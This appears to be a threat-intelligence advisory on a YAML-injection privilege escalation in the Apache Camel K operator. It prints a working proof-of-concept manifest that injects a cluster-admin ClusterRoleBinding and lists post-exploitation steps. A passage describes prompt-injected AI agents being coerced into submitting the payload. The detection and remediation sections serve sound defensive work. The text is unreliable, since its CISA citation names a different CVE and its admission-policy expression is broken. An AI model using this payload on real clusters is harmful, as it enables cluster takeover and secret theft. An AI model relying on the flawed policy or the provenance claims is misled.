CVE-2026-80352: Kubernetes Operator Privilege Escalation via Master Trait YAML Injection in Apache Camel K
HERMES THREAT SCORE & OPERATOR PRIVILEGE ESCALATION
Target:Apache Camel K Operator - Master Trait Reconciler & Integration CRD CVSS v3.1 rates CVE-2026-80352 at 8.8 (High) conditioned on Low privileges (PR:L to submit an Integration CR). Hermes elevates the vulnerability to 91 (CRITICAL). In modern cloud-native Kubernetes environments and autonomous agentic workflows (e.g., LangChain, Camel-AI pipelines, and multi-tenant developer clusters), low-privilege service accounts or automated agent runners routinely submit namespace-scoped Custom Resources. The Operator acts as a Confused Deputy, reconciling the injected YAML with cluster-wide administrative privileges to generate arbitrary ClusterRoleBindings, privileged DaemonSets, or secret extractors, achieving cluster-wide boundary collapse.
HASS AGENTIC SEVERITY & PIPELINE TAKEOVER
Target:Autonomous Agent Workflows & Serverless Integration Connectors Autonomous AI agents and LLM-driven integration runners frequently generate and deploy Camel K integrations on-the-fly to connect vector databases, SaaS APIs, and event streams. A compromised or prompt-injected agent capable of templating Integration Custom Resources can weaponize this YAML injection to escape its pod sandbox, obtain operator tokens, and compromise the underlying Kubernetes cluster.
CVE-2026-80352: Kubernetes Operator Privilege Escalation via Master Trait YAML Injection in Apache Camel KVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled “1. Technical Context & Affected Software Matrix”Apache Camel K transforms declarative integration definitions (written in Java, YAML, Kotlin, or Groovy) into running containers inside Kubernetes. The operator controls build strategies, container compilation, and workload deployment.
| Parameter | Technical Specification | Operational Significance |
|---|---|---|
| CVE Identifier | CVE-2026-80352 | Apache Camel K Security Advisory Reference |
| Vulnerability Class | YAML Injection / Confused Deputy (CWE-94) | Manifest generation without delimiter neutralization |
| Vulnerable Component | Camel K Operator — Master Trait Handler | Trait reconciler generating Kubernetes Deployment & RBAC specs |
| Trigger Mechanism | traits.master.serviceAccountName property | Multiline string injection breaking YAML document structure |
| Privileges Required | Low (PR:L — ability to create Integration CR) | Typical namespace-restricted developer or AI pipeline runner |
| Privileges Obtained | Cluster Administrator (cluster-admin) | Operator executes API calls with high-privilege cluster tokens |
| Affected Versions | 2.0.0 <= v < 2.9.3, 2.10.1 | Multi-tenant Kubernetes & OpenShift integration clusters |
| Remediated Versions | 2.9.3, 2.10.2, 2.11.0 | Official Apache releases implementing strict string sanitization |
2. Vulnerability Anatomy & Root Cause Analysis
Section titled “2. Vulnerability Anatomy & Root Cause Analysis”The Master Trait Reconciler Flaw
Section titled “The Master Trait Reconciler Flaw”In Camel K, Traits are high-level configuration toggles used to configure platform features such as container ports, Knative services, ingress, and leader election. The Master trait (master) enables integrations to execute with leader election guarantees, ensuring only one instance of an active integration route processes events at any given time while standby instances wait for failover locks.
To configure the Master trait, integrations specify properties either through CLI flags or within the Custom Resource definition:
apiVersion: camel.apache.org/v1kind: Integrationmetadata: name: secured-pipelinespec: traits: master: configuration: serviceAccountName: "pipeline-runner"During the reconciliation cycle, the Camel K operator process parses the Integration specification and generates the accompanying Kubernetes manifests (such as Lease access roles, ServiceAccount bindings, and Deployment manifests).
In vulnerable versions prior to 2.9.3 and 2.10.2, the operator constructed portions of these subordinate manifests using unescaped string formatting rather than structured typed Go structs (k8s.io/api/...) or strictly encoded YAML trees. The serviceAccountName field was directly interpolated into the output manifest stream.
Because no input validation rejected embedded newline characters (\n), an attacker can supply a multiline payload. By injecting the YAML document boundary marker ---, the parser closes the intended manifest and begins defining an entirely new, arbitrary Kubernetes resource in the same manifest pipeline:
traits.master.configuration.serviceAccountName = "legit-sa\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\n..."The Confused Deputy Dynamic
Section titled “The Confused Deputy Dynamic”The Camel K operator must manage Custom Resource Definitions, create deployments, bind service accounts, mount secrets, and create services across monitored namespaces. To perform these duties, its ServiceAccount is routinely endowed with broad cluster privileges, often equivalent to cluster-admin in cluster-wide installation modes.
When the operator applies the synthesized YAML document stream to the Kubernetes API server via its controller-runtime client, the API server interprets the injected document as a legitimate object requested by the Operator itself, bypassing all RBAC constraints that originally limited the requesting tenant to a single restricted namespace.
3. Threat Vectors, Exploitation Mechanics & Attack Flow
Section titled “3. Threat Vectors, Exploitation Mechanics & Attack Flow”Attack Flow Architecture
Section titled “Attack Flow Architecture”flowchart TD A["Adversary / Injected AI Agent"] -->|"Creates Integration CR with multiline payload"| B["Kubernetes API Server (Namespace Scoped)"] B -->|"Reconcile Event Notification"| C["Camel K Operator Controller"] C -->|"Interpolates unsanitized serviceAccountName"| D["Internal YAML Manifest Stream"] D -->|"Interprets --- delimiter"| E["Injected ClusterRoleBinding: cluster-admin"] C -->|"Applies manifests using Operator ServiceAccount"| F["Kubernetes API Server (Cluster Scope)"] F -->|"Grants cluster-admin to tenant SA"| G["Full Cluster Takeover & Node Escape"]Exploit Payload Walkthrough
Section titled “Exploit Payload Walkthrough”An attacker authorized only in namespace dev-sandbox creates an Integration Custom Resource containing a weaponized Master trait:
apiVersion: camel.apache.org/v1kind: Integrationmetadata: name: agent-escalation-poc namespace: dev-sandboxspec: sources: - name: route.groovy content: "from('timer:tick?period=5000').log('pwned')" traits: master: configuration: serviceAccountName: | default --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: camel-k-privesc-binding subjects: - kind: ServiceAccount name: default namespace: dev-sandbox roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.ioWhen the operator reconciles agent-escalation-poc:
- The operator templates the Master trait configuration.
- The multiline
serviceAccountNameinjects a completeClusterRoleBindingmanifest. - The operator issues an
ApplyorCreatecall to the Kubernetes API server using its privileged credentials. - The
defaultservice account indev-sandboximmediately acquirescluster-adminpermissions. - The attacker generates a pod with hostPath mounts (
/) or directly dumps cluster secrets, certificates, and etcd data.
4. Doctrinal Impact on AI / Agentic Infrastructure & Multi-Tenant Clouds
Section titled “4. Doctrinal Impact on AI / Agentic Infrastructure & Multi-Tenant Clouds”The weaponization of CVE-2026-80352 poses unique and severe threats to modern autonomous agentic architectures:
1. Agentic Tool & Pipeline Poisoning
Section titled “1. Agentic Tool & Pipeline Poisoning”Autonomous developer and enterprise agents (such as LangChain pipelines, AutoGen agents, or OpenClaw assistants) frequently utilize Camel K connectors to integrate with enterprise databases, ERPs, and cloud storage. An adversary targeting an agent through prompt injection or malicious input can force the agent to submit an Integration CR containing the injection vector, turning the agent into an unwitting accomplice in cluster compromise.
2. Multi-Tenant Kubernetes Sandbox Collapse
Section titled “2. Multi-Tenant Kubernetes Sandbox Collapse”In shared enterprise clusters, security teams rely on Kubernetes namespaces and scoped ServiceAccounts to isolate untrusted user code, CI/CD jobs, and AI sandboxes. Because Camel K is commonly installed in a shared cluster mode to conserve resources, this vulnerability completely invalidates namespace multi-tenancy.
3. Exfiltration of AI Models & API Secrets
Section titled “3. Exfiltration of AI Models & API Secrets”Once cluster-admin is obtained, attackers gain instant access to all cluster Secrets, including OpenAI/Anthropic/Google API tokens, vector database access credentials (Pinecone, Milvus, Qdrant), private model weights, and TLS signing keys.
5. Threat Hunting, Detection & Forensic Investigation
Section titled “5. Threat Hunting, Detection & Forensic Investigation”Kubernetes Audit Log Analysis
Section titled “Kubernetes Audit Log Analysis”Hunt for anomalous ClusterRoleBinding or privileged resource creations where the impersonatedUser or user.username corresponds to the Camel K operator service account:
{ "verb": "create", "requestURI": "/apis/rbac.authorization.k8s.io/v1/clusterrolebindings", "user": { "username": "system:serviceaccount:camel-k:camel-k-operator" }, "objectRef": { "resource": "clusterrolebindings", "apiGroup": "rbac.authorization.k8s.io" }, "responseStatus": { "code": 201 }}Sigma Rule: Camel K Operator Privilege Escalation via YAML Injection
Section titled “Sigma Rule: Camel K Operator Privilege Escalation via YAML Injection”title: Apache Camel K Operator Suspicious ClusterRoleBinding Creation (CVE-2026-80352)id: cve-2026-80352-camelk-privescstatus: experimentaldescription: Detects the creation of ClusterRoleBinding objects by the Apache Camel K operator ServiceAccount, indicating exploitation of CVE-2026-80352 YAML injection.author: Hermes Codex Threat Intelligencedate: 2026-09-11references: - https://camel.apache.org/security/CVE-2026-80352.html - https://nvd.nist.gov/vuln/detail/CVE-2026-80352tags: - attack.privilege_escalation - attack.t1068 - attack.t1078.004logsource: product: kubernetes service: auditdetection: selection_operator: user.username|contains: camel-k-operator selection_verb: verb: - create - patch - update selection_target: objectRef.resource: clusterrolebindings objectRef.apiGroup: rbac.authorization.k8s.io condition: selection_operator and selection_verb and selection_targetfalsepositives: - Initial Camel K cluster installation or manual operator upgrades performed by cluster admins.level: criticalFalco Detection Rule
Section titled “Falco Detection Rule”- rule: Camel K Operator Creating Privileged ClusterRoleBinding desc: Detects Camel K operator creating unauthorized cluster role bindings condition: > k8s.target.resource = "clusterrolebindings" and k8s.verb in ("create", "update", "patch") and ka.user.name startswith "system:serviceaccount:" and ka.user.name contains "camel-k" output: > Suspicious ClusterRoleBinding creation by Camel K Operator (user=%ka.user.name resource=%k8s.target.name namespace=%k8s.target.namespace payload=%ka.req.binding.subjects) priority: CRITICAL tags: [k8s, rbac, privilege_escalation, cve-2026-80352]Azure Log Analytics / KQL Query
Section titled “Azure Log Analytics / KQL Query”// Hunt for unexpected RBAC escalation by Camel K OperatorKubeAudit| where TimeGenerated >= ago(7d)| where ObjectRef_Resource =~ "clusterrolebindings"| where Verb in ("create", "patch", "update")| where User_Username has "camel-k"| project TimeGenerated, User_Username, ObjectRef_Namespace, ObjectRef_Name, ResponseStatus_code, RequestObject| order by TimeGenerated desc6. MITRE ATT&CK Mapping
Section titled “6. MITRE ATT&CK Mapping”| Tactical Phase | Technique ID | Technique Name | Exploitation Context |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Submitting crafted CR to exposed Kubernetes API |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Operator confused deputy coercing cluster-admin |
| Persistence | T1078.004 | Valid Accounts: Cloud/Container Accounts | Weaponizing newly granted ClusterRoleBinding |
| Execution | T1610 | Deploy Container | Creating privileged pods with node root mounts |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | Operator token used to bypass namespace quotas/policies |
| Lateral Movement | T1611 | Escape to Host | Hostpath container execution escaping cluster boundary |
7. Comprehensive Remediation & Hardening Guide
Section titled “7. Comprehensive Remediation & Hardening Guide”1. Upgrade Camel K Operator Immediately
Section titled “1. Upgrade Camel K Operator Immediately”Deploy the official patch releases:
- Version 2.9.x Branch: Upgrade to
2.9.3(or later) - Version 2.10.x Branch: Upgrade to
2.10.2(or later) - Version 2.11.x Branch: Upgrade to
2.11.0(or later)
# Upgrade via Camel K CLI (kamel)kamel install --upgrade --operator-id camel-k -n camel-k
# Or upgrade via Helm charthelm repo updatehelm upgrade camel-k redhat-camel/camel-k -n camel-k --version 2.10.22. Admission Controller Hardening (ValidatingAdmissionPolicy)
Section titled “2. Admission Controller Hardening (ValidatingAdmissionPolicy)”Implement a Kubernetes ValidatingAdmissionPolicy (Kubernetes 1.28+) to reject any Integration or IntegrationKit CR that contains newline characters (\n) or YAML document markers (---) within trait configuration strings:
apiVersion: admissionregistration.k8s.io/v1kind: ValidatingAdmissionPolicymetadata: name: block-camel-k-yaml-injectionspec: failurePolicy: Fail matchConstraints: resourceRules: - apiGroups: ["camel.apache.org"] apiVersions: ["v1"] operations: ["CREATE", "UPDATE"] resources: ["integrations"] validations: - expression: > !has(object.spec.traits.master) || !has(object.spec.traits.master.configuration) || !has(object.spec.traits.master.configuration.serviceAccountName) || (!object.spec.traits.master.configuration.serviceAccountName.contains("") && !object.spec.traits.master.configuration.serviceAccountName.contains("---")) message: "Security Policy: Master trait serviceAccountName must not contain newline characters or YAML document separators."3. Restrict Operator RBAC Privileges
Section titled “3. Restrict Operator RBAC Privileges”Whenever feasible, avoid running Camel K in global cluster-wide mode with cluster-admin. Restrict the operator to watch only designated integration namespaces using namespace-scoped Roles and RoleBindings rather than ClusterRoles.